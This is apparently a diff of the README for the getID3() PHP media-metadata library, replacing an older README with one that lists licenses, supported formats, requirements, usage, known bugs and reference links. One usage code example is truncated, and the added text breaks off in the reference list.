it's not my fault if any of your files are corrupted. -In fact, I'm not liable for anything :) - -License -=== - -GNU General Public License - see license.txt - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -as published by the Free Software Foundation; either version 2 -of the License, or (at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to: -Free Software Foundation, Inc. -59 Temple Place - Suite 330 -Boston, MA 02111-1307, USA. - -FAQ: ---- -**Q:** Can I use getID3() in my program? Do I need a commercial license? - -**A:** You're generally free to use getID3 however you see fit. The only - case in which you would require a commercial license is if you're - selling your closed-source program that integrates getID3. If you - sell your program including a copy of getID3, that's fine as long - as you include a copy of the sourcecode when you sell it. Or you - can distribute your code without getID3 and say "download it from - getid3.sourceforge.net" - - - -Why is it called "getID3()" if it does so much more than just that? -=== - -v0.1 did in fact just do that. I don't have a copy of code that old, but I -could essentially write it today with a one-line function: - -``` php -function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); } - -``` - - -Future Plans -=== - - -* Better support for MP4 container format -* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0) -* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm) -* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669) -* Support for ACE (thanks Vince) -* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid) -* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header -* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding) -* Warn if MP3s change version mid-stream (in full-scan mode) -* check for corrupt/broken mid-file MP3 streams in histogram scan -* Support for lossless-compression formats - (http://www.firstpr.com.au/audiocomp/lossless/#Links) - (http://compression.ca/act-sound.html) - (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm) -* Support for RIFF-INFO chunks - * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html - (thanks Nick Humfrey ) - * http://abcavi.narod.ru/sof/abcavi/infotags.htm - (thanks Kibi) -* Better support for Bink video -* http://www.hr/josip/DSP/AudioFile2.html -* http://www.pcisys.net/~melanson/codecs/ -* Detect mp3PRO -* Support for PSD -* Support for JPC -* Support for JP2 -* Support for JPX -* Support for JB2 -* Support for IFF -* Support for ICO -* Support for ANI -* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl) -* Support for DVD-IFO (region, subtitles, aspect ratio, etc) - (thanks p*quaedackersØplanet*nl) -* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content - (thanks n8n8Øyahoo*com) -* Support for a2b -* Optional scan-through-frames for AVI verification - (thanks rockcohenØmassive-interactive*nl) -* Support for TTF (thanks infoØbutterflyx*com) -* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171) -* Support for SMAF (http://smaf-yamaha.com/what/demo.html) - https://www.getid3.org/phpBB3/viewtopic.php?t=182 -* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195) -* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195) -* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com) -* Parse XML data returned in Ogg comments -* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com) -* ID3v2 genre string creator function -* More complete parsing of JPG -* Support for all old-style ASF packets -* ASF/WMA/WMV tag writing -* Parse declared T??? ID3v2 text information frames, where appropriate - (thanks Christian Fritz for the idea) -* Recognize encoder: - http://www.guerillasoft.com/EncSpot2/index.html - http://ff123.net/identify.html - http://www.hydrogenaudio.org/?act=ST&f=16&t=9414 - http://www.hydrogenaudio.org/?showtopic=11785 -* Support for other OS/2 bitmap structures: Bitmap Array('BA'), - Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT') - http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm -* Support for WavPack RAW mode -* ASF/WMA/WMV data packet parsing -* ID3v2FrameFlagsLookupTagAlter() -* ID3v2FrameFlagsLookupFileAlter() -* obey ID3v2 tag alter/preserve/discard rules -* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm -* proper checking for LINK/LNK frame validity in ID3v2 writing -* proper checking for ASPI-TLEN frame validity in ID3v2 writing -* proper checking for COMR frame validity in ID3v2 writing -* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html -* decode GEOB ID3v2 structure as encoded by RealJukebox, - decode NCON ID3v2 structure as encoded by MusicMatch - (probably won't happen - the formats are proprietary) - - - -Known Bugs/Issues in getID3() that may be fixed eventually -=== - - -* Cannot determine bitrate for MPEG video with VBR video data - (need documentation) -* Interlace/progressive cannot be determined for MPEG video - (need documentation) -* MIDI playtime is sometimes inaccurate -* AAC-RAW mode files cannot be identified -* WavPack-RAW mode files cannot be identified -* mp4 files report lots of "Unknown QuickTime atom type" - (need documentation) -* Encrypted ASF/WMA/WMV files warn about "unhandled GUID - ASF_Content_Encryption_Object" -* Bitrate split between audio and video cannot be calculated for - NSV, only the total bitrate. (need documentation) -* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the - problem of large VorbisComments spanning multiple Ogg pages, but - but only OggVorbis files can be processed with vorbiscomment. -* The version of "head" supplied with Mac OS 10.2.8 (maybe other - versions too) does only understands a single option (-n) and - therefore fails. getID3 ignores this and returns wrong md5_data. - - - -Known Bugs/Issues in getID3() that cannot be fixed ---- - - -* 32-bit PHP installations only: - Files larger than 2GB cannot always be parsed fully by getID3() - due to limitations in the 32-bit PHP filesystem functions. - NOTE: Since v1.7.8b3 there is partial support for larger-than- - 2GB files, most of which will parse OK, as long as no critical - data is located beyond the 2GB offset. - Known will-work: - * all file formats on 64-bit PHP - * ZIP (format doesn't support files >2GB) - * FLAC (current encoders don't support files >2GB) - Known will-not-work: - * ID3v1 tags (always located at end-of-file) - * Lyrics3 tags (always located at end-of-file) - * APE tags (always located at end-of-file) - Maybe-will-work: - * Quicktime (will work if needed metadata is before 2GB offset, - that is if the file has been hinted/optimized for streaming) - * RIFF.WAV (should work fine, but gives warnings about not being - able to parse all chunks) - * RIFF.AVI (playtime will probably be wrong, is only based on - "movi" chunk that fits in the first 2GB, should issue error - to show that playtime is incorrect. Other data should be mostly - correct, assuming that data is constant throughout the file) - - - -Known Bugs/Issues in other programs ---- - - -* Windows Media Player (up to v11) and iTunes (up to v10+) do - not correctly handle ID3v2.3 tags with UTF-16BE+BOM - encoding (they assume the data is UTF-16LE+BOM and either - crash (WMP) or output Asian character set (iTunes) -* Winamp (up to v2.80 at least) does not support ID3v2.4 tags, - only ID3v2.3 - see: http://forums.winamp.com/showthread.php?postid=387524 -* Some versions of Helium2 (www.helium2.com) do not write - ID3v2.4-compliant Frame Sizes, even though the tag is marked - as ID3v2.4) (detected by getID3()) -* MP3ext V3.3.17 places a non-compliant padding string at the end - of the ID3v2 header. This is supposedly fixed in v3.4b21 but - only if you manually add a registry key. This fix is not yet - confirmed. (detected by getID3()) -* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment - strings, supposed to be in the format "NAME=value" but actually - written just "value" (detected by getID3()) -* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's - actually ABR or VBR. -* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably - other versions are too) writes ID3v2.3 comment tags using a - frame name 'COM ' which is not valid for ID3v2.3+ (it's an - ID3v2.2-style frame name) (detected by getID3()) -* MP2enc does not encode mono CBR MP2 files properly (half speed - sound and double playtime) -* MP2enc does not encode mono VBR MP2 files properly (actually - encoded as stereo) -* tooLAME does not encode mono VBR MP2 files properly (actually - encoded as stereo) -* AACenc encodes files in VBR mode (actually ABR) even if CBR is - specified -* AAC/ADIF - bitrate_mode = cbr for vbr files -* LAME 3.90-3.92 prepends one frame of null data (space for the - LAME/VBR header, but it never gets written) when encoding in CBR - mode with the DLL -* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed - to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for - TwinVQF v2.0 (detected by getID3()) -* Ahead Nero encodes TwinVQF files 1 second shorter than they - should be -* AAC-ADTS files are always actually encoded VBR, even if CBR mode - is specified (the CBR-mode switches on the encoder enable ABR - mode, not CBR as such, but it's not possible to tell the - difference between such ABR files and true VBR) -* STREAMINFO.audio_signature in OggFLAC is always null. "The reason - it's like that is because there is no seeking support in - libOggFLAC yet, so it has no way to go back and write the - computed sum after encoding. Seeking support in Ogg FLAC is the - #1 item for the next release." - Josh Coalson (FLAC developer) - NOTE: getID3() will calculate md5_data in a method similar to - other file formats, but that value cannot be compared to the - md5_data value from FLAC data in a FLAC file format. -* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 & - v0.4.0 - getID3() will calculate md5_data in a method similar to - other file formats, but that value cannot be compared to the - md5_data value from FLAC v0.5.0+ -* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with - a WCOM frame that has no data portion -* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis - files, thus making them corrupt. -* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the - last byte of data from an MP3 file when appending a new ID3v1 tag. - (detected by getID3()) -* Lossless-Audio files encoded with and without the -noseek switch - do actually differ internally and therefore cannot match md5_data -* iTunes has been known to append a new ID3v1 tag on the end of an - existing ID3v1 tag when ID3v2 tag is also present - (detected by getID3()) -* MediaMonkey may write a blank RGAD ID3v2 frame but put actual - replay gain adjustments in a series of user-defined TXXX frames - (detected and handled by getID3() since v1.9.2) - - - - -Reference material: -=== - -[www.id3.org](http://www.id3.org) material now mirrored at - -* http://www.id3.org/id3v2.4.0-structure.txt -* http://www.id3.org/id3v2.4.0-frames.txt -* http://www.id3.org/id3v2.4.0-changes.txt -* http://www.id3.org/id3v2.3.0.txt -* http://www.id3.org/id3v2-00.txt -* http://www.id3.org/mp3frame.html -* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html -* http://www.dv.co.yu/mpgscript/mpeghdr.htm -* http://www.mp3-tech.org/programmer/frame_header.html -* http://users.belgacom.net/gc247244/extra/tag.html -* http://gabriel.mp3-tech.org/mp3infotag.html -* http://www.id3.org/iso4217.html -* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT -* http://www.xiph.org/ogg/vorbis/doc/framing.html -* http://www.xiph.org/ogg/vorbis/doc/v-comment.html -* http://leknor.com/code/php/class.ogg.php.txt -* http://www.id3.org/iso639-2.html -* http://www.id3.org/lyrics3.html -* http://www.id3.org/lyrics3200.html -* http://www.psc.edu/general/software/packages/ieee/ieee.html -* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html -* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html -* http://www.jmcgowan.com/avi.html -* http://www.wotsit.org/ -* http://www.herdsoft.com/ti/davincie/davp3xo2.htm -* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html -* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org) -* http://midistudio.com/Help/GMSpecs_Patches.htm -* http://www.xiph.org/archives/vorbis/200109/0459.html -* http://www.replaygain.org/ -* http://www.lossless-audio.com/ -* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe -* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf -* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/) -* http://jfaul.de/atl/ -* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/) -* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html -* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm -* http://www.fastgraph.com/help/bmp_os2_header_format.html -* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm -* http://flac.sourceforge.net/format.html -* http://www.research.att.com/projects/mpegaudio/mpeg2.html -* http://www.audiocoding.com/wiki/index.php?page=AAC -* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf -* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt -* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm -* http://www.nullsoft.com/nsv/ -* http://www.wotsit.org/download.asp?f=iso9660 -* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html -* http://www.cdroller.com/htm/readdata.html -* http://www.speex.org/manual/node10.html -* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc -* http://www.faqs.org/rfcs/rfc2361.html -* http://ghido.shelter.ro/ -* http://www.ebu.ch/tech_t3285.pdf -* http://www.sr.se/utveckling/tu/bwf -* http://ftp.aessc.org/pub/aes46-2002.pdf -* http://cartchunk.org:8080/ -* http://www.broadcastpapers.com/radio/cartchunk01.htm -* http://www.hr/josip/DSP/AudioFile2.html -* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html -* http://www.pure-mac.com/extkey.html -* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt -* http://www.headbands.com/gspot/ -* http://www.openswf.org/spec/SWFfileformat.html -* http://j-faul.virtualave.net/ -* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html -* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html -* http://sswf.sourceforge.net/SWFalexref.html -* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt -* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm -* http://developer.apple.com/quicktime/icefloe/dispatch012.html -* http://www.csdn.net/Dev/Format/graphics/PCD.htm -* http://tta.iszf.irk.ru/ -* http://www.atsc.org/standards/a_52a.pdf -* http://www.alanwood.net/unicode/ -* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html -* http://www.its.msstate.edu/net/real/reports/config/tags.stats -* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt -* http://brennan.young.net/Comp/LiveStage/things.html -* http://www.multiweb.cz/twoinches/MP3inside.htm -* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended -* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ -* http://www.unicode.org/unicode/faq/utf_bom.html -* http://tta.corecodec.org/?menu=format -* http://www.scvi.net/nsvformat.htm -* http://pda.etsi.org/pda/queryform.asp -* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm -* http://trac.musepack.net/trac/wiki/SV8Specification -* http://wyday.com/cuesharp/specification.php -* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html -* http://wiki.hydrogenaud.io/index.php?title=TAK +getID3() by James Heinrich () +=== +**Available at or ** + +getID3() is released under multiple licenses. You may choose from the following licenses, and use getID3 according to the terms of the license most suitable to your project. + +**GNU GPL:** + +* [v3](https://gnu.org/licenses/gpl.html) + +* [v2](https://gnu.org/licenses/old-licenses/gpl-2.0.html) + +* [v1](https://gnu.org/licenses/old-licenses/gpl-1.0.html) + +**GNU LGPL:** + +* [v3](https://gnu.org/licenses/lgpl.html) + +**Mozilla MPL:** + +* [v2](https://www.mozilla.org/MPL/2.0/) + +**getID3 Commercial License:** + +* [gCL](https://www.getid3.org/#gCL) (payment required) + +* * * +Copies of each of the above licenses are included in the `licenses/` +directory of the getID3 distribution. + +If you want to donate, there is a link on for PayPal donations. + + + +Quick Start +=== + +**Q:** How can I check that getID3() works on my server/files? + +**A:** Unzip getID3() to a directory, then access `/demos/demo.browse.php` + + + +Support +=== + +**Q:** I have a question, or I found a bug. What do I do? + +**A:** The preferred method of support requests and/or bug reports is the forum at + + + +Sourceforge Notification +=== + +It's highly recommended that you sign up for notification from +Sourceforge for when new versions are released. Please visit: + +and click the little "monitor package" icon/link. If you're +previously signed up for the mailing list, be aware that it has +been discontinued, only the automated Sourceforge notification +will be used from now on. + + + +What does getID3() do? +=== + +Reads & parses (to varying degrees): + ++ tags: + * APE (v1 and v2) + * ID3v1 (& ID3v1.1) + * ID3v2 (v2.4, v2.3, v2.2) + * Lyrics3 (v1 & v2) + ++ audio-lossy: + * MP3/MP2/MP1 + * MPC / Musepack + * Ogg (Vorbis, OggFLAC, Speex, Opus) + * AAC / MP4 + * AC3 + * DTS + * RealAudio + * Speex + * DSS + * VQF + ++ audio-lossless: + * AIFF + * AU + * Bonk + * CD-audio (*.cda) + * FLAC + * LA (Lossless Audio) + * LiteWave + * LPAC + * MIDI + * Monkey's Audio + * OptimFROG + * RKAU + * Shorten + * Tom's lossless Audio Kompressor (TAK) + * TTA + * VOC + * WAV (RIFF) + * WavPack + ++ audio-video: + * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV) + * AVI (RIFF) + * Flash + * Matroska (MKV) + * MPEG-1 / MPEG-2 + * NSV (Nullsoft Streaming Video) + * Quicktime (including MP4) + * RealVideo + ++ still image: + * BMP + * GIF + * JPEG + * PNG + * TIFF + * SWF (Flash) + * PhotoCD + ++ data: + * ISO-9660 CD-ROM image (directory structure) + * SZIP (limited support) + * ZIP (directory structure) + * TAR + * CUE + + ++ Writes: + * ID3v1 (& ID3v1.1) + * ID3v2 (v2.3 & v2.4) + * VorbisComment on OggVorbis + * VorbisComment on FLAC (not OggFLAC) + * APE v2 + * Lyrics3 (delete only) + + + +Requirements +=== + +* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier) +* PHP 5.0.5 (or higher) for getID3() 1.8.x (and up) +* PHP 5.0.5 (or higher) for getID3() 2.0.x (and up) +* at least 4MB memory for PHP. 8MB or more is highly recommended. + 12MB is required with all modules loaded. + + + +Usage +=== + +See /demos/demo.basic.php for a very basic use of getID3() with no +fancy output, just scanning one file. + +See structure.txt for the returned data structure. + +**For an example of a complete directory-browsing, file-scanning implementation of getID3(), please run /demos/demo.browse.php** + +See /demos/demo.mysql.php for a sample recursive scanning code that +scans every file in a given directory, and all sub-directories, stores +the results in a database and allows various analysis / maintenance +operations + +To analyze remote files over HTTP or FTP you need to copy the file +locally first before running getID3(). Your code would look something +like this: + +``` php +analyze($localtempfilename); + // Delete temporary file + unlink($localtempfilename); + } + fclose($fp_remote); +} + +``` + + +**See /demos/demo.write.php for how to write tags.** + +What does the returned data structure look like? +=== + +See structure.txt + +It is recommended that you look at the output of +/demos/demo.browse.php scanning the file(s) you're interested in to +confirm what data is actually returned for any particular filetype in +general, and your files in particular, as the actual data returned +may vary considerably depending on what information is available in +the file itself. + + + +Notes +=== + +getID3() 1.x: +--- +If the format parser encounters a critical problem, it will return +something in `$fileinfo['error']`, describing the encountered error. If +a less critical error or notice is generated it will appear in +`$fileinfo['warning']`. Both keys may contain more than one warning or +error. If something is returned in ['error'] then the file was not +correctly parsed and returned data may or may not be correct and/or +complete. If something is returned in `['warning']` (and not `['error']`) +then the data that is returned is OK - usually getID3() is reporting +errors in the file that have been worked around due to known bugs in +other programs. Some warnings may indicate that the data that is +returned is OK but that some data could not be extracted due to +errors in the file. + +getID3() 2.x: +--- +See above except errors are thrown (so you will only get one error). + +Disclaimer +=== + +getID3() has been tested on many systems, on many types of files, +under many operating systems, and is generally believe to be stable +and safe. That being said, there is still the chance there is an +undiscovered and/or unfixed bug that may potentially corrupt your +file, especially within the writing functions. By using getID3() you +agree that it's not my fault if any of your files are corrupted. +In fact, I'm not liable for anything :) + +License +=== + +GNU General Public License - see license.txt + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to: +Free Software Foundation, Inc. +59 Temple Place - Suite 330 +Boston, MA 02111-1307, USA. + +FAQ: +--- +**Q:** Can I use getID3() in my program? Do I need a commercial license? + +**A:** You're generally free to use getID3 however you see fit. The only + case in which you would require a commercial license is if you're + selling your closed-source program that integrates getID3. If you + sell your program including a copy of getID3, that's fine as long + as you include a copy of the sourcecode when you sell it. Or you + can distribute your code without getID3 and say "download it from + getid3.sourceforge.net" + + + +Why is it called "getID3()" if it does so much more than just that? +=== + +v0.1 did in fact just do that. I don't have a copy of code that old, but I +could essentially write it today with a one-line function: + +``` php +function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); } + +``` + + +Future Plans +=== + + +* Better support for MP4 container format +* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0) +* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm) +* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669) +* Support for ACE (thanks Vince) +* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid) +* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header +* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding) +* Warn if MP3s change version mid-stream (in full-scan mode) +* check for corrupt/broken mid-file MP3 streams in histogram scan +* Support for lossless-compression formats + (http://www.firstpr.com.au/audiocomp/lossless/#Links) + (http://compression.ca/act-sound.html) + (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm) +* Support for RIFF-INFO chunks + * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html + (thanks Nick Humfrey ) + * http://abcavi.narod.ru/sof/abcavi/infotags.htm + (thanks Kibi) +* Better support for Bink video +* http://www.hr/josip/DSP/AudioFile2.html +* http://www.pcisys.net/~melanson/codecs/ +* Detect mp3PRO +* Support for PSD +* Support for JPC +* Support for JP2 +* Support for JPX +* Support for JB2 +* Support for IFF +* Support for ICO +* Support for ANI +* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl) +* Support for DVD-IFO (region, subtitles, aspect ratio, etc) + (thanks p*quaedackersØplanet*nl) +* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content + (thanks n8n8Øyahoo*com) +* Support for a2b +* Optional scan-through-frames for AVI verification + (thanks rockcohenØmassive-interactive*nl) +* Support for TTF (thanks infoØbutterflyx*com) +* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171) +* Support for SMAF (http://smaf-yamaha.com/what/demo.html) + https://www.getid3.org/phpBB3/viewtopic.php?t=182 +* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195) +* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195) +* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com) +* Parse XML data returned in Ogg comments +* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com) +* ID3v2 genre string creator function +* More complete parsing of JPG +* Support for all old-style ASF packets +* ASF/WMA/WMV tag writing +* Parse declared T??? ID3v2 text information frames, where appropriate + (thanks Christian Fritz for the idea) +* Recognize encoder: + http://www.guerillasoft.com/EncSpot2/index.html + http://ff123.net/identify.html + http://www.hydrogenaudio.org/?act=ST&f=16&t=9414 + http://www.hydrogenaudio.org/?showtopic=11785 +* Support for other OS/2 bitmap structures: Bitmap Array('BA'), + Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT') + http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm +* Support for WavPack RAW mode +* ASF/WMA/WMV data packet parsing +* ID3v2FrameFlagsLookupTagAlter() +* ID3v2FrameFlagsLookupFileAlter() +* obey ID3v2 tag alter/preserve/discard rules +* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm +* proper checking for LINK/LNK frame validity in ID3v2 writing +* proper checking for ASPI-TLEN frame validity in ID3v2 writing +* proper checking for COMR frame validity in ID3v2 writing +* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html +* decode GEOB ID3v2 structure as encoded by RealJukebox, + decode NCON ID3v2 structure as encoded by MusicMatch + (probably won't happen - the formats are proprietary) + + + +Known Bugs/Issues in getID3() that may be fixed eventually +=== + + +* Cannot determine bitrate for MPEG video with VBR video data + (need documentation) +* Interlace/progressive cannot be determined for MPEG video + (need documentation) +* MIDI playtime is sometimes inaccurate +* AAC-RAW mode files cannot be identified +* WavPack-RAW mode files cannot be identified +* mp4 files report lots of "Unknown QuickTime atom type" + (need documentation) +* Encrypted ASF/WMA/WMV files warn about "unhandled GUID + ASF_Content_Encryption_Object" +* Bitrate split between audio and video cannot be calculated for + NSV, only the total bitrate. (need documentation) +* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the + problem of large VorbisComments spanning multiple Ogg pages, but + but only OggVorbis files can be processed with vorbiscomment. +* The version of "head" supplied with Mac OS 10.2.8 (maybe other + versions too) does only understands a single option (-n) and + therefore fails. getID3 ignores this and returns wrong md5_data. + + + +Known Bugs/Issues in getID3() that cannot be fixed +--- + + +* 32-bit PHP installations only: + Files larger than 2GB cannot always be parsed fully by getID3() + due to limitations in the 32-bit PHP filesystem functions. + NOTE: Since v1.7.8b3 there is partial support for larger-than- + 2GB files, most of which will parse OK, as long as no critical + data is located beyond the 2GB offset. + Known will-work: + * all file formats on 64-bit PHP + * ZIP (format doesn't support files >2GB) + * FLAC (current encoders don't support files >2GB) + Known will-not-work: + * ID3v1 tags (always located at end-of-file) + * Lyrics3 tags (always located at end-of-file) + * APE tags (always located at end-of-file) + Maybe-will-work: + * Quicktime (will work if needed metadata is before 2GB offset, + that is if the file has been hinted/optimized for streaming) + * RIFF.WAV (should work fine, but gives warnings about not being + able to parse all chunks) + * RIFF.AVI (playtime will probably be wrong, is only based on + "movi" chunk that fits in the first 2GB, should issue error + to show that playtime is incorrect. Other data should be mostly + correct, assuming that data is constant throughout the file) + + + +Known Bugs/Issues in other programs +--- + + +* Windows Media Player (up to v11) and iTunes (up to v10+) do + not correctly handle ID3v2.3 tags with UTF-16BE+BOM + encoding (they assume the data is UTF-16LE+BOM and either + crash (WMP) or output Asian character set (iTunes) +* Winamp (up to v2.80 at least) does not support ID3v2.4 tags, + only ID3v2.3 + see: http://forums.winamp.com/showthread.php?postid=387524 +* Some versions of Helium2 (www.helium2.com) do not write + ID3v2.4-compliant Frame Sizes, even though the tag is marked + as ID3v2.4) (detected by getID3()) +* MP3ext V3.3.17 places a non-compliant padding string at the end + of the ID3v2 header. This is supposedly fixed in v3.4b21 but + only if you manually add a registry key. This fix is not yet + confirmed. (detected by getID3()) +* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment + strings, supposed to be in the format "NAME=value" but actually + written just "value" (detected by getID3()) +* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's + actually ABR or VBR. +* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably + other versions are too) writes ID3v2.3 comment tags using a + frame name 'COM ' which is not valid for ID3v2.3+ (it's an + ID3v2.2-style frame name) (detected by getID3()) +* MP2enc does not encode mono CBR MP2 files properly (half speed + sound and double playtime) +* MP2enc does not encode mono VBR MP2 files properly (actually + encoded as stereo) +* tooLAME does not encode mono VBR MP2 files properly (actually + encoded as stereo) +* AACenc encodes files in VBR mode (actually ABR) even if CBR is + specified +* AAC/ADIF - bitrate_mode = cbr for vbr files +* LAME 3.90-3.92 prepends one frame of null data (space for the + LAME/VBR header, but it never gets written) when encoding in CBR + mode with the DLL +* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed + to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for + TwinVQF v2.0 (detected by getID3()) +* Ahead Nero encodes TwinVQF files 1 second shorter than they + should be +* AAC-ADTS files are always actually encoded VBR, even if CBR mode + is specified (the CBR-mode switches on the encoder enable ABR + mode, not CBR as such, but it's not possible to tell the + difference between such ABR files and true VBR) +* STREAMINFO.audio_signature in OggFLAC is always null. "The reason + it's like that is because there is no seeking support in + libOggFLAC yet, so it has no way to go back and write the + computed sum after encoding. Seeking support in Ogg FLAC is the + #1 item for the next release." - Josh Coalson (FLAC developer) + NOTE: getID3() will calculate md5_data in a method similar to + other file formats, but that value cannot be compared to the + md5_data value from FLAC data in a FLAC file format. +* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 & + v0.4.0 - getID3() will calculate md5_data in a method similar to + other file formats, but that value cannot be compared to the + md5_data value from FLAC v0.5.0+ +* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with + a WCOM frame that has no data portion +* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis + files, thus making them corrupt. +* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the + last byte of data from an MP3 file when appending a new ID3v1 tag. + (detected by getID3()) +* Lossless-Audio files encoded with and without the -noseek switch + do actually differ internally and therefore cannot match md5_data +* iTunes has been known to append a new ID3v1 tag on the end of an + existing ID3v1 tag when ID3v2 tag is also present + (detected by getID3()) +* MediaMonkey may write a blank RGAD ID3v2 frame but put actual + replay gain adjustments in a series of user-defined TXXX frames + (detected and handled by getID3() since v1.9.2) + + + + +Reference material: +=== + +[www.id3.org](http://www.id3.org) material now mirrored at + +* http://www.id3.org/id3v2.4.0-structure.txt +* http://www.id3.org/id3v2.4.0-frames.txt +* http://www.id3.org/id3v2.4.0-changes.txt +* http://www.id3.org/id3v2.3.0.txt +* http://www.id3.org/id3v2-00.txt +* http://www.id3.org/mp3frame.html +* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html +* http://www.dv.co.yu/mpgscript/mpeghdr.htm +* 